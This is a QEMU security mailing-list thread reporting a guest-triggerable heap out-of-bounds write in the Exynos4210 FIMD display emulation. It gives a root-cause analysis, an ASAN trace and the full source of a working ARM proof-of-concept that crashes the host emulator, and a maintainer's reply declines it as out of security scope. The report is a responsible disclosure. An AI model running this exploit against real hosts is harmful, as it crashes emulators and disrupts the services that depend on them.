* [BUG] hw/display/exynos4210_fimd: guest-triggerable host heap OOB write via unchecked window coordinates
@ 2026-05-10 8:52 bestswngs
2026-05-11 9:14 ` [QEMU-SECURITY] " Daniel P. Berrangé
0 siblings, 1 reply; 3+ messages in thread
From: bestswngs @ 2026-05-10 8:52 UTC (permalink / raw)
To: qemu-security; +Cc: Igor Mitsyanko, Peter Maydell, qemu-arm
Hi,
I'd like to report a guest-triggerable host heap out-of-bounds write
in the Exynos4210 FIMD display controller emulation. It is reachable
from any process running with root privilege inside a smdkc210/nuri
guest, through ordinary /dev/mem mmap of the FIMD MMIO region. No
out-of-spec register values are required; all writes are within the
device's own mask range.
Verified against QEMU 10.0.0; the relevant code in master
(HEAD ee7eb612) is byte-identical for all four root-cause spots
referenced below, so master is expected to reproduce identically.
== TL;DR ==
The internal frame buffer s->ifb is sized from the global LCD
resolution in VIDTCON2. However, fimd_update() then uses each
window's own (lefttop_x, lefttop_y) coordinates to compute a pixel
destination inside s->ifb, with no check that the window stays inside
the global rectangle. Because both the global size and the window
coordinates are 11-bit guest-writable fields with no cross-validation,
the guest can shrink s->ifb to 14,337 bytes while pointing window 0
at byte offset 0x01BFC800 (~ 28 MB) past the allocation. This
results in put_pixel_ifb() performing 7-byte writes (3 RGB bytes plus
a 4-byte alpha word; RGBA_SIZE == 7) far outside the heap chunk.
== Build requirements ==
None special. CONFIG_EXYNOS4 is `default y` in hw/arm/Kconfig and is
included in every stock qemu-system-arm distribution package. A
release-mode build (no debug, no sanitizer) reproduces the crash with
exit status 139 (SIGSEGV); the ASAN trace below merely gives a
clearer view of the same fault. No KVM is involved — pure TCG on
any host arch.
== Triggerability ==
Guest userspace (root + /dev/mem): YES — demonstrated below with a
full Debian 4.19 ARM Linux boot
and a freestanding C PoC running
as /init. Note this works *even
with* CONFIG_STRICT_DEVMEM=y in
the guest kernel: the FIMD MMIO
region is iomem, not RAM, so
/dev/mem still allows mmap on it.
Guest kernel module (root): YES — same MMIO dispatch path via
ioremap() + writel(); the
userspace PoC already proves the
host write path, kernel mode is
strictly easier.
Guest userspace (unprivileged): Indirect; gated by Linux fbdev
driver (s3c-fb.c) which validates
geometry. Not directly reachable
from non-root users.
All bug-relevant register writes use values within the device's own
mask range (FIMD_VIDOSD_COORD_MASK = 0x7ff); no out-of-spec input is
needed. Threat model is "untrusted code with root or kernel
privilege inside a smdkc210/nuri guest" — typical of CI / firmware-
test environments that emulate Samsung Exynos4 boards.
== Root cause ==
In hw/display/exynos4210_fimd.c, four pieces of state diverge:
1) s->ifb is allocated using only the *global* width/height from
VIDTCON2. RGBA_SIZE is 7 (3 bytes RGB + 4-byte alpha word; rgba
struct at line 258, define at line 264):
[hw/display/exynos4210_fimd.c:1245]
static void exynos4210_update_resolution(Exynos4210fimdState *s)
{
/* HOR_SHIFT=0, VER_SHIFT=11, MASK=0x7ff (lines 80-82) */
uint32_t width = ((s->vidtcon[2] >> FIMD_VIDTCON2_HOR_SHIFT) & 0x7ff) + 1;
uint32_t height = ((s->vidtcon[2] >> FIMD_VIDTCON2_VER_SHIFT) & 0x7ff) + 1;
if (s->ifb == NULL || ...) {
qemu_console_resize(s->console, width, height);
s->ifb = g_realloc(s->ifb, width * height * RGBA_SIZE + 1);
memset(s->ifb, 0, width * height * RGBA_SIZE + 1);
}
}
2) Each window's lefttop_x / lefttop_y are 11-bit guest-writable
values with no clamp against the global rectangle. HOR_SHIFT=11,
VER_SHIFT=0, COORD_MASK=0x7ff:
[hw/display/exynos4210_fimd.c:1457]
case FIMD_VIDOSD_START ... FIMD_VIDOSD_END: /* 0x40..0x88 */
...
s->window[w].lefttop_x = (val >> FIMD_VIDOSD_HOR_SHIFT) & FIMD_VIDOSD_COORD_MASK;
s->window[w].lefttop_y = (val >> FIMD_VIDOSD_VER_SHIFT) & FIMD_VIDOSD_COORD_MASK;
/* both axes accept the full 0..2047 range */
3) fimd_update() walks each enabled window and indexes into s->ifb
using lefttop_x / lefttop_y, never checking against global_width:
[hw/display/exynos4210_fimd.c:1286]
global_width = (s->vidtcon[2] & FIMD_VIDTCON2_SIZE_MASK) + 1;
...
for (i = 0; i < NUM_OF_WINDOWS; i++) {
w = &s->window[i];
if ((w->wincon & FIMD_WINCON_ENWIN) && w->host_fb_addr) {
scrn_height = w->rightbot_y - w->lefttop_y + 1;
...
for (line = 0; line < scrn_height; line++) {
...
w->draw_line(w, host_fb_addr,
s->ifb +
w->lefttop_x * RGBA_SIZE +
(w->lefttop_y + line) * global_width *
RGBA_SIZE,
blend);
The pointer passed as `dst` to the per-window draw_line callback is
then written by put_pixel_ifb():
[hw/display/exynos4210_fimd.c:475]
static int put_pixel_ifb(const rgba p, uint8_t *d)
{
*(uint8_t *)d++ = p.r; /* <-- ASAN reports the SEGV here */
*(uint8_t *)d++ = p.g;
*(uint8_t *)d++ = p.b;
*(uint32_t *)d = p.a; /* 4-byte store of the alpha word */
return RGBA_SIZE; /* RGBA_SIZE == 7 */
}
4) WINMAP0 is what triggers the redraw. Writing 0x01000000 sets bit
24 (FIMD_WINMAP_EN), the EN-bit XOR is non-zero, and fimd_update()
is called. With WINMAP_EN set, update_win_bppmode() switches the
per-window draw_line callback to draw_line_mapcolor, which
synthesizes each pixel from the low 24 bits of the winmap register
and does NOT read guest framebuffer RAM at all -- so guest RAM
contents are irrelevant to triggering the bug:
[hw/display/exynos4210_fimd.c:1551]
case FIMD_WINMAP_START ... FIMD_WINMAP_END: /* 0x180..0x190 */
w = (offset - FIMD_WINMAP_START) >> 2;
old_value = s->window[w].winmap;
s->window[w].winmap = val;
if ((val & FIMD_WINMAP_EN) ^ (old_value & FIMD_WINMAP_EN)) {
exynos4210_fimd_invalidate(s);
exynos4210_fimd_update_win_bppmode(s, w);
...
exynos4210_fimd_update(s); /* <-- triggers it */
}
== Arithmetic of the OOB ==
VIDTCON2 = 0x000007ff HOR_SHIFT=0, VER_SHIFT=11, MASK=0x7ff
-> global_width = ((0x7ff >> 0) & 0x7ff) + 1 = 0x800 (2048)
-> global_height = ((0x7ff >> 11) & 0x7ff) + 1 = 0x001 (1)
ifb size = 2048 * 1 * 7 + 1 = 14,337 bytes (0x3801)
VIDOSDA0 = 0x000007ff HOR_SHIFT=11, VER_SHIFT=0, MASK=0x7ff
-> lefttop_x = (0x7ff >> 11) & 0x7ff = 0
-> lefttop_y = (0x7ff >> 0) & 0x7ff = 0x7ff (2047)
VIDOSDB0 = 0x000007ff
-> rightbot_x = 0, rightbot_y = 0x7ff
For window 0:
scrn_height = rightbot_y - lefttop_y + 1 = 1
scrn_width = w->virtpage_width (= 0 by default)
The 1-line, 1-pixel write goes to:
ifb_offset = lefttop_x * RGBA_SIZE
+ (lefttop_y + 0) * global_width * RGBA_SIZE
= 0 * 7
+ 0x7ff * 0x800 * 7
= 0 + 0x3FF800 * 7
= 0x01BFC800 (29,345,792 bytes ~= 28 MB)
ifb has been deliberately shrunk to 14,337 bytes (0x3801), so
0x01BFC800 lands ~28 MB past the end of the heap chunk, deep into
unmapped territory. The very first byte store inside put_pixel_ifb()
faults. Consistent with the observed ASAN report below:
SEGV at 0x528001bfc900
ifb base ~= 0x528000000100 (heap chunk, glibc fastbin)
crash offset = 0x01bfc900 - 0x000000100 ~= 0x01BFC800 verified.
== Reproducer (full Linux guest userspace, root via /dev/mem) ==
The PoC is a freestanding ARM Linux init binary (single C file, no
libc, ~4 KB static ELF) that mmap()s /dev/mem and writes the FIMD
MMIO sequence described above. It runs as PID 1 in a busybox
initramfs.
For convenience the PoC reuses the exact kernel / DTB / rootfs
already used by QEMU's own functional test, so anyone running
`make check-functional-arm` already has the artifacts on disk:
Test: tests/functional/test_arm_smdkc210.py
Kernel: linux-image-4.19.0-6-armmp_4.19.67-2+deb10u1_armhf.deb
(Debian snapshot, provides vmlinuz + exynos4210-smdkv310.dtb)
Rootfs: rootfs-armv5.cpio.gz from groeck/linux-build-test
Hardening note: that kernel has CONFIG_STRICT_DEVMEM=y; the bug is
still reachable because /dev/mem allows mapping iomem / MMIO even
when DRAM access is blocked.
Build the PoC (source attached below) and stage it as /init:
arm-linux-gnu-gcc -nostdlib -static -mcpu=cortex-a9 -marm \
-ffreestanding -fno-stack-protector -o init poc.c
# then place `init` at the root of a copy of rootfs-armv5.cpio.gz
Boot (TCG, release build, no qtest, no debug):
qemu-system-arm -M smdkc210 -m 256M -nographic -nodefaults \
-display none -kernel <vmlinuz> -dtb <dtb> -initrd <cpio> \
-append 'console=ttySAC0,115200n8 panic=-1 noreboot rdinit=/init' \
-serial mon:stdio -accel tcg
== ASAN evidence ==
Console output and ASAN trace from a representative run. Note that
Thread T2 is the TCG vCPU worker, not the main thread, and the
bottom of the stack is helper_stl_mmu / (tcg-jit) — i.e. a guest ARM
`str` instruction translated by TCG, not a host-side write:
```
/ # ./init
AddressSanitizer:DEADLYSIGNAL
=================================================================
==163255==ERROR: AddressSanitizer: SEGV on unknown address 0x528001bfc900 (pc 0x55d8a00356ff bp 0x7fa55f5fd670 sp 0x7fa55f5fd580 T2)
==163255==The signal is caused by a WRITE memory access.
#0 0x55d8a00356ff in put_pixel_ifb ../hw/display/exynos4210_fimd.c:477
#1 0x55d8a00356ff in draw_line_mapcolor ../hw/display/exynos4210_fimd.c:862
#2 0x55d8a002f5e8 in exynos4210_fimd_update ../hw/display/exynos4210_fimd.c:1311
#3 0x55d8a00303ec in exynos4210_fimd_write ../hw/display/exynos4210_fimd.c:1559
#4 0x55d8a0ade71b in memory_region_write_accessor ../system/memory.c:497
#5 0x55d8a0add43b in access_with_adjusted_size ../system/memory.c:573
#6 0x55d8a0addd09 in memory_region_dispatch_write ../system/memory.c:1553
#7 0x55d8a0b457dd in int_st_mmio_leN ../accel/tcg/cputlb.c:2493
#8 0x55d8a0b461ba in do_st_mmio_leN ../accel/tcg/cputlb.c:2528
#9 0x55d8a0b5193c in do_st_4 ../accel/tcg/cputlb.c:2698
#10 0x55d8a0b5193c in do_st4_mmu ../accel/tcg/cputlb.c:2774
#11 0x55d8a0b54e7b in helper_stl_mmu ../accel/tcg/ldst_common.c.inc:100
#12 0x7fa5a1661bed (/memfd:tcg-jit (deleted)+0x1d6bbed)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../hw/display/exynos4210_fimd.c:477 in put_pixel_ifb
Thread T2 created by T0 here:
#0 0x7fa624af40a3 in pthread_create (/lib64/libasan.so.8+0xf40a3) (BuildId: 056be1fcf267a221be3234b7611a94d0ee6a19bc)
#1 0x55d8a0f87c6b in qemu_thread_create ../util/qemu-thread-posix.c:581
#2 0x55d8a06f1640 in mttcg_start_vcpu_thread ../accel/tcg/tcg-accel-ops-mttcg.c:143
#3 0x55d8a05db992 in qemu_init_vcpu ../system/cpus.c:705
#4 0x55d8a084713f in arm_cpu_realizefn ../target/arm/cpu.c:2602
#5 0x55d8a0b712bb in device_set_realized ../hw/core/qdev.c:494
#6 0x55d8a0b7913b in property_set_bool ../qom/object.c:2374
#7 0x55d8a0b7f674 in object_property_set ../qom/object.c:1449
#8 0x55d8a0b85e37 in object_property_set_qobject ../qom/qom-qobject.c:28
#9 0x55d8a0b7face in object_property_set_bool ../qom/object.c:1519
#10 0x55d8a0b701a5 in qdev_realize ../hw/core/qdev.c:276
#11 0x55d8a07d21bf in exynos4210_realize ../hw/arm/exynos4210.c:577
#12 0x55d8a0b712bb in device_set_realized ../hw/core/qdev.c:494
#13 0x55d8a0b7913b in property_set_bool ../qom/object.c:2374
#14 0x55d8a0b7f674 in object_property_set ../qom/object.c:1449
#15 0x55d8a0b85e37 in object_property_set_qobject ../qom/qom-qobject.c:28
#16 0x55d8a0b7face in object_property_set_bool ../qom/object.c:1519
#17 0x55d8a0b701a5 in qdev_realize ../hw/core/qdev.c:276
#18 0x55d89ff8fec3 in sysbus_realize ../hw/core/sysbus.c:238
#19 0x55d8a0597d76 in exynos4_boards_init_common ../hw/arm/exynos4_boards.c:129
#20 0x55d8a0597e55 in smdkc210_init ../hw/arm/exynos4_boards.c:144
#21 0x55d89ff821fd in machine_run_board_init ../hw/core/machine.c:1682
#22 0x55d8a05f8c62 in qemu_init_board ../system/vl.c:2711
#23 0x55d8a05f8c62 in qmp_x_exit_preconfig ../system/vl.c:2807
#24 0x55d8a05ff76b in qemu_init ../system/vl.c:3843
#25 0x55d8a0e207dd in main ../system/main.c:71
#26 0x7fa62403c58d in __libc_start_call_main (/lib64/libc.so.6+0x2a58d) (BuildId: 1e3e48dbffd641e15d0c912086334c9e3436917c)
==163255==ABORTING
```
== Disclosure ==
Found during an audit of QEMU 10.0.0. I'm happy to coordinate
disclosure or send a fix patch — let me know your preference.
Thanks,
Weiming Shi (swing) && 章鱼哥@aipy (www.aipyaipy.com)
--
QEMU 10.0.0 build used for the ASAN evidence above:
../configure --target-list=arm-softmmu --enable-debug \
--extra-cflags="-fsanitize=address -O1 -g" \
--extra-ldflags="-fsanitize=address" \
--disable-werror
Boot:
qemu-system-arm -M smdkc210 -m 256M -nographic -nodefaults -display none \
-kernel ./boot/vmlinuz-4.19.0-6-armmp \
-dtb ./usr/lib/linux-image-4.19.0-6-armmp/exynos4210-smdkv310.dtb \
-initrd ./rootfs-poc.cpio.gz \
-append 'earlycon=exynos4210,0x13800000 console=ttySAC0,115200n8
panic=-1 noreboot rdinit=/init' \
-serial mon:stdio -accel tcg
==============================================================================
Attachment: poc.c (freestanding ARM Linux userspace, no libc, ~4 KB ELF)
==============================================================================
/* Userspace ARM Linux PoC for the Exynos4210 FIMD ifb OOB write bug.
* Freestanding (no libc); issues syscalls via inline svc 0 (EABI).
* Build:
* arm-linux-gnu-gcc -nostdlib -static -O0 -mcpu=cortex-a9 -marm \
* -ffreestanding -fno-stack-protector -o poc poc.c
* Use as /init in any minimal initramfs.
*/
typedef unsigned int u32;
typedef unsigned long ulong;
#define O_RDWR 0x00000002
#define O_SYNC 0x00101000
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define MAP_SHARED 0x01
#define MAP_FAILED ((void *)-1L)
#define SYS_exit 1
#define SYS_write 4
#define SYS_open 5
#define SYS_mount 21
#define SYS_reboot 88
#define SYS_mmap2 192 /* offset is in PAGE_SIZE units */
#define LINUX_REBOOT_MAGIC1 0xfee1deadu
#define LINUX_REBOOT_MAGIC2 672274793u
#define LINUX_REBOOT_CMD_POWER_OFF 0x4321fedcu
static inline long syscall1(long n,long a){
register long r0 __asm__("r0")=a; register long r7 __asm__("r7")=n;
__asm__ volatile("svc 0":"+r"(r0):"r"(r7):"memory"); return r0;
}
static inline long syscall2(long n,long a,long b){
register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b;
register long r7 __asm__("r7")=n;
__asm__ volatile("svc 0":"+r"(r0):"r"(r1),"r"(r7):"memory"); return r0;
}
static inline long syscall3(long n,long a,long b,long c){
register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b;
register long r2 __asm__("r2")=c; register long r7 __asm__("r7")=n;
__asm__ volatile("svc 0":"+r"(r0):"r"(r1),"r"(r2),"r"(r7):"memory");
return r0;
}
static inline long syscall4(long n,long a,long b,long c,long d){
register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b;
register long r2 __asm__("r2")=c; register long r3 __asm__("r3")=d;
register long r7 __asm__("r7")=n;
__asm__ volatile("svc 0":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r7):"memory");
return r0;
}
static inline long syscall6(long n,long a,long b,long c,long d,long e,long f){
register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b;
register long r2 __asm__("r2")=c; register long r3 __asm__("r3")=d;
register long r4 __asm__("r4")=e; register long r5 __asm__("r5")=f;
register long r7 __asm__("r7")=n;
__asm__ volatile("svc 0":"+r"(r0)
:"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r5),"r"(r7):"memory");
return r0;
}
static int sys_open(const char *p,int f){return syscall2(SYS_open,(long)p,f);}
static long sys_write(int fd,const void*b,ulong n){return syscall3(SYS_write,fd,(long)b,n);}
static void *sys_mmap(void*a,ulong l,int p,int fl,int fd,ulong pg){
return (void*)syscall6(SYS_mmap2,(long)a,l,p,fl,fd,pg);
}
static int sys_mount(const char*s,const char*t,const char*f,ulong fl,const void*d){
register long r0 __asm__("r0")=(long)s; register long r1 __asm__("r1")=(long)t;
register long r2 __asm__("r2")=(long)f; register long r3 __asm__("r3")=(long)fl;
register long r4 __asm__("r4")=(long)d; register long r7 __asm__("r7")=SYS_mount;
__asm__ volatile("svc 0":"+r"(r0)
:"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r7):"memory");
return r0;
}
static int sys_reboot(u32 cmd){
return syscall4(SYS_reboot,LINUX_REBOOT_MAGIC1,LINUX_REBOOT_MAGIC2,cmd,0);
}
static ulong str_len(const char*s){ulong n=0;while(s[n])n++;return n;}
static void putln(const char*s){sys_write(1,s,str_len(s));sys_write(1,"\n",1);}
static void puts1(const char*s){sys_write(1,s,str_len(s));}
static void puthex(u32 x){
char b[11]="0x00000000";
for(int i=0;i<8;i++){unsigned d=(x>>((7-i)*4))&0xf;b[2+i]=d<10?'0'+d:'a'+d-10;}
sys_write(1,b,10);
}
#define FIMD_BASE 0x11c00000UL
#define FIMD_LEN 0x10000
#define PAGE_SIZE 4096
static volatile u32 *fimd;
static void w32(u32 off,u32 v){
fimd[off>>2]=v;
__asm__ __volatile__("dsb sy":::"memory");
}
void _start(void)
{
putln("");
putln("=====================================================================");
putln("[poc] Linux userspace running as PID 1 (pure C, no libc)");
putln("=====================================================================");
puts1("[poc] mount devtmpfs on /dev ... ");
if (sys_mount("devtmpfs","/dev","devtmpfs",0,0) < 0)
putln("FAILED (continuing -- /dev may already exist)");
else putln("ok");
puts1("[poc] open /dev/mem ... ");
int fd = sys_open("/dev/mem", O_RDWR | O_SYNC);
if (fd < 0) { putln("FAILED"); goto die; }
putln("ok");
puts1("[poc] mmap FIMD at PA 0x11c00000 ... ");
void *p = sys_mmap(0, FIMD_LEN, PROT_READ|PROT_WRITE, MAP_SHARED,
fd, FIMD_BASE / PAGE_SIZE);
if (p == MAP_FAILED) { putln("FAILED"); goto die; }
fimd = (volatile u32*)p;
puts1("VA="); puthex((u32)(ulong)p); putln("");
putln("[poc] programming FIMD registers.");
w32(0x0018, 0x000007ff); /* VIDTCON2 -> global 2048x1, ifb=14337B */
w32(0x00a0, 0x40000080); /* VIDW0_BUF_START0 (unused with WINMAP) */
w32(0x0100, 0x00000008); /* WINCON0 (ENWIN bit etc.) */
w32(0x0040, 0x000007ff); /* VIDOSDA0 -> lefttop_y = 0x7ff */
w32(0x0044, 0x000007ff); /* VIDOSDB0 -> rightbot_y = 0x7ff */
w32(0x0020, 0x0000002d); /* VIDCON2 */
w32(0x0000, 0x00000003); /* VIDCON0 enable */
putln("[poc] firing trigger write (WINMAP0)...");
putln("[poc] If host QEMU is vulnerable, this is the LAST line you see:");
/* Sets WINMAP_EN=bit24, switches draw_line to draw_line_mapcolor,
* triggers fimd_update() -> draw_line -> put_pixel_ifb() at
* s->ifb + 0x01BFC800 (28 MB past the 14,337-byte allocation). */
w32(0x0180, 0x01000000);
putln("[poc] *** host QEMU survived -- bug appears PATCHED ***");
die:
sys_reboot(LINUX_REBOOT_CMD_POWER_OFF);
syscall1(SYS_exit, 0);
}
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [QEMU-SECURITY] [BUG] hw/display/exynos4210_fimd: guest-triggerable host heap OOB write via unchecked window coordinates
2026-05-10 8:52 [BUG] hw/display/exynos4210_fimd: guest-triggerable host heap OOB write via unchecked window coordinates bestswngs
@ 2026-05-11 9:14 ` Daniel P. Berrangé
2026-05-11 9:20 ` Peter Maydell
0 siblings, 1 reply; 3+ messages in thread
From: Daniel P. Berrangé @ 2026-05-11 9:14 UTC (permalink / raw)
To: bestswngs; +Cc: qemu-security, Igor Mitsyanko, Peter Maydell, qemu-arm
Hi,
Thankyou for your report, however, the exynos4210 device is classed
under the "non-virtualization use case":
https://www.qemu.org/docs/master/system/security.html#non-virtualization-use-case
Thus we don't apply the security process to issues in this device and
it is not eligible for CVE assignment.
This bug can be reported in the public QEMU gitlab.com issue tracker
and/or patches sent straight to qemu-devel mailing list publically.
On Sun, May 10, 2026 at 04:52:40PM +0800, bestswngs@gmail.com wrote:
> Hi,
>
> I'd like to report a guest-triggerable host heap out-of-bounds write
> in the Exynos4210 FIMD display controller emulation. It is reachable
> from any process running with root privilege inside a smdkc210/nuri
> guest, through ordinary /dev/mem mmap of the FIMD MMIO region. No
> out-of-spec register values are required; all writes are within the
> device's own mask range.
>
> Verified against QEMU 10.0.0; the relevant code in master
> (HEAD ee7eb612) is byte-identical for all four root-cause spots
> referenced below, so master is expected to reproduce identically.
>
>
> == TL;DR ==
>
> The internal frame buffer s->ifb is sized from the global LCD
> resolution in VIDTCON2. However, fimd_update() then uses each
> window's own (lefttop_x, lefttop_y) coordinates to compute a pixel
> destination inside s->ifb, with no check that the window stays inside
> the global rectangle. Because both the global size and the window
> coordinates are 11-bit guest-writable fields with no cross-validation,
> the guest can shrink s->ifb to 14,337 bytes while pointing window 0
> at byte offset 0x01BFC800 (~ 28 MB) past the allocation. This
> results in put_pixel_ifb() performing 7-byte writes (3 RGB bytes plus
> a 4-byte alpha word; RGBA_SIZE == 7) far outside the heap chunk.
>
>
> == Build requirements ==
>
> None special. CONFIG_EXYNOS4 is `default y` in hw/arm/Kconfig and is
> included in every stock qemu-system-arm distribution package. A
> release-mode build (no debug, no sanitizer) reproduces the crash with
> exit status 139 (SIGSEGV); the ASAN trace below merely gives a
> clearer view of the same fault. No KVM is involved — pure TCG on
> any host arch.
>
>
> == Triggerability ==
>
> Guest userspace (root + /dev/mem): YES — demonstrated below with a
> full Debian 4.19 ARM Linux boot
> and a freestanding C PoC running
> as /init. Note this works *even
> with* CONFIG_STRICT_DEVMEM=y in
> the guest kernel: the FIMD MMIO
> region is iomem, not RAM, so
> /dev/mem still allows mmap on it.
> Guest kernel module (root): YES — same MMIO dispatch path via
> ioremap() + writel(); the
> userspace PoC already proves the
> host write path, kernel mode is
> strictly easier.
> Guest userspace (unprivileged): Indirect; gated by Linux fbdev
> driver (s3c-fb.c) which validates
> geometry. Not directly reachable
> from non-root users.
>
> All bug-relevant register writes use values within the device's own
> mask range (FIMD_VIDOSD_COORD_MASK = 0x7ff); no out-of-spec input is
> needed. Threat model is "untrusted code with root or kernel
> privilege inside a smdkc210/nuri guest" — typical of CI / firmware-
> test environments that emulate Samsung Exynos4 boards.
>
>
> == Root cause ==
>
> In hw/display/exynos4210_fimd.c, four pieces of state diverge:
>
> 1) s->ifb is allocated using only the *global* width/height from
> VIDTCON2. RGBA_SIZE is 7 (3 bytes RGB + 4-byte alpha word; rgba
> struct at line 258, define at line 264):
>
> [hw/display/exynos4210_fimd.c:1245]
> static void exynos4210_update_resolution(Exynos4210fimdState *s)
> {
> /* HOR_SHIFT=0, VER_SHIFT=11, MASK=0x7ff (lines 80-82) */
> uint32_t width = ((s->vidtcon[2] >> FIMD_VIDTCON2_HOR_SHIFT) & 0x7ff) + 1;
> uint32_t height = ((s->vidtcon[2] >> FIMD_VIDTCON2_VER_SHIFT) & 0x7ff) + 1;
>
> if (s->ifb == NULL || ...) {
> qemu_console_resize(s->console, width, height);
> s->ifb = g_realloc(s->ifb, width * height * RGBA_SIZE + 1);
> memset(s->ifb, 0, width * height * RGBA_SIZE + 1);
> }
> }
>
> 2) Each window's lefttop_x / lefttop_y are 11-bit guest-writable
> values with no clamp against the global rectangle. HOR_SHIFT=11,
> VER_SHIFT=0, COORD_MASK=0x7ff:
>
> [hw/display/exynos4210_fimd.c:1457]
> case FIMD_VIDOSD_START ... FIMD_VIDOSD_END: /* 0x40..0x88 */
> ...
> s->window[w].lefttop_x = (val >> FIMD_VIDOSD_HOR_SHIFT) & FIMD_VIDOSD_COORD_MASK;
> s->window[w].lefttop_y = (val >> FIMD_VIDOSD_VER_SHIFT) & FIMD_VIDOSD_COORD_MASK;
> /* both axes accept the full 0..2047 range */
>
> 3) fimd_update() walks each enabled window and indexes into s->ifb
> using lefttop_x / lefttop_y, never checking against global_width:
>
> [hw/display/exynos4210_fimd.c:1286]
> global_width = (s->vidtcon[2] & FIMD_VIDTCON2_SIZE_MASK) + 1;
> ...
> for (i = 0; i < NUM_OF_WINDOWS; i++) {
> w = &s->window[i];
> if ((w->wincon & FIMD_WINCON_ENWIN) && w->host_fb_addr) {
> scrn_height = w->rightbot_y - w->lefttop_y + 1;
> ...
> for (line = 0; line < scrn_height; line++) {
> ...
> w->draw_line(w, host_fb_addr,
> s->ifb +
> w->lefttop_x * RGBA_SIZE +
> (w->lefttop_y + line) * global_width *
> RGBA_SIZE,
> blend);
>
> The pointer passed as `dst` to the per-window draw_line callback is
> then written by put_pixel_ifb():
>
> [hw/display/exynos4210_fimd.c:475]
> static int put_pixel_ifb(const rgba p, uint8_t *d)
> {
> *(uint8_t *)d++ = p.r; /* <-- ASAN reports the SEGV here */
> *(uint8_t *)d++ = p.g;
> *(uint8_t *)d++ = p.b;
> *(uint32_t *)d = p.a; /* 4-byte store of the alpha word */
> return RGBA_SIZE; /* RGBA_SIZE == 7 */
> }
>
> 4) WINMAP0 is what triggers the redraw. Writing 0x01000000 sets bit
> 24 (FIMD_WINMAP_EN), the EN-bit XOR is non-zero, and fimd_update()
> is called. With WINMAP_EN set, update_win_bppmode() switches the
> per-window draw_line callback to draw_line_mapcolor, which
> synthesizes each pixel from the low 24 bits of the winmap register
> and does NOT read guest framebuffer RAM at all -- so guest RAM
> contents are irrelevant to triggering the bug:
>
> [hw/display/exynos4210_fimd.c:1551]
> case FIMD_WINMAP_START ... FIMD_WINMAP_END: /* 0x180..0x190 */
> w = (offset - FIMD_WINMAP_START) >> 2;
> old_value = s->window[w].winmap;
> s->window[w].winmap = val;
> if ((val & FIMD_WINMAP_EN) ^ (old_value & FIMD_WINMAP_EN)) {
> exynos4210_fimd_invalidate(s);
> exynos4210_fimd_update_win_bppmode(s, w);
> ...
> exynos4210_fimd_update(s); /* <-- triggers it */
> }
>
>
> == Arithmetic of the OOB ==
>
> VIDTCON2 = 0x000007ff HOR_SHIFT=0, VER_SHIFT=11, MASK=0x7ff
> -> global_width = ((0x7ff >> 0) & 0x7ff) + 1 = 0x800 (2048)
> -> global_height = ((0x7ff >> 11) & 0x7ff) + 1 = 0x001 (1)
> ifb size = 2048 * 1 * 7 + 1 = 14,337 bytes (0x3801)
>
> VIDOSDA0 = 0x000007ff HOR_SHIFT=11, VER_SHIFT=0, MASK=0x7ff
> -> lefttop_x = (0x7ff >> 11) & 0x7ff = 0
> -> lefttop_y = (0x7ff >> 0) & 0x7ff = 0x7ff (2047)
> VIDOSDB0 = 0x000007ff
> -> rightbot_x = 0, rightbot_y = 0x7ff
>
> For window 0:
> scrn_height = rightbot_y - lefttop_y + 1 = 1
> scrn_width = w->virtpage_width (= 0 by default)
>
> The 1-line, 1-pixel write goes to:
>
> ifb_offset = lefttop_x * RGBA_SIZE
> + (lefttop_y + 0) * global_width * RGBA_SIZE
> = 0 * 7
> + 0x7ff * 0x800 * 7
> = 0 + 0x3FF800 * 7
> = 0x01BFC800 (29,345,792 bytes ~= 28 MB)
>
> ifb has been deliberately shrunk to 14,337 bytes (0x3801), so
> 0x01BFC800 lands ~28 MB past the end of the heap chunk, deep into
> unmapped territory. The very first byte store inside put_pixel_ifb()
> faults. Consistent with the observed ASAN report below:
>
> SEGV at 0x528001bfc900
> ifb base ~= 0x528000000100 (heap chunk, glibc fastbin)
> crash offset = 0x01bfc900 - 0x000000100 ~= 0x01BFC800 verified.
>
>
> == Reproducer (full Linux guest userspace, root via /dev/mem) ==
>
> The PoC is a freestanding ARM Linux init binary (single C file, no
> libc, ~4 KB static ELF) that mmap()s /dev/mem and writes the FIMD
> MMIO sequence described above. It runs as PID 1 in a busybox
> initramfs.
>
> For convenience the PoC reuses the exact kernel / DTB / rootfs
> already used by QEMU's own functional test, so anyone running
> `make check-functional-arm` already has the artifacts on disk:
>
> Test: tests/functional/test_arm_smdkc210.py
> Kernel: linux-image-4.19.0-6-armmp_4.19.67-2+deb10u1_armhf.deb
> (Debian snapshot, provides vmlinuz + exynos4210-smdkv310.dtb)
> Rootfs: rootfs-armv5.cpio.gz from groeck/linux-build-test
> Hardening note: that kernel has CONFIG_STRICT_DEVMEM=y; the bug is
> still reachable because /dev/mem allows mapping iomem / MMIO even
> when DRAM access is blocked.
>
> Build the PoC (source attached below) and stage it as /init:
>
> arm-linux-gnu-gcc -nostdlib -static -mcpu=cortex-a9 -marm \
> -ffreestanding -fno-stack-protector -o init poc.c
> # then place `init` at the root of a copy of rootfs-armv5.cpio.gz
>
> Boot (TCG, release build, no qtest, no debug):
>
> qemu-system-arm -M smdkc210 -m 256M -nographic -nodefaults \
> -display none -kernel <vmlinuz> -dtb <dtb> -initrd <cpio> \
> -append 'console=ttySAC0,115200n8 panic=-1 noreboot rdinit=/init' \
> -serial mon:stdio -accel tcg
>
>
> == ASAN evidence ==
>
> Console output and ASAN trace from a representative run. Note that
> Thread T2 is the TCG vCPU worker, not the main thread, and the
> bottom of the stack is helper_stl_mmu / (tcg-jit) — i.e. a guest ARM
> `str` instruction translated by TCG, not a host-side write:
>
> ```
> / # ./init
>
> AddressSanitizer:DEADLYSIGNAL
> =================================================================
> ==163255==ERROR: AddressSanitizer: SEGV on unknown address 0x528001bfc900 (pc 0x55d8a00356ff bp 0x7fa55f5fd670 sp 0x7fa55f5fd580 T2)
> ==163255==The signal is caused by a WRITE memory access.
> #0 0x55d8a00356ff in put_pixel_ifb ../hw/display/exynos4210_fimd.c:477
> #1 0x55d8a00356ff in draw_line_mapcolor ../hw/display/exynos4210_fimd.c:862
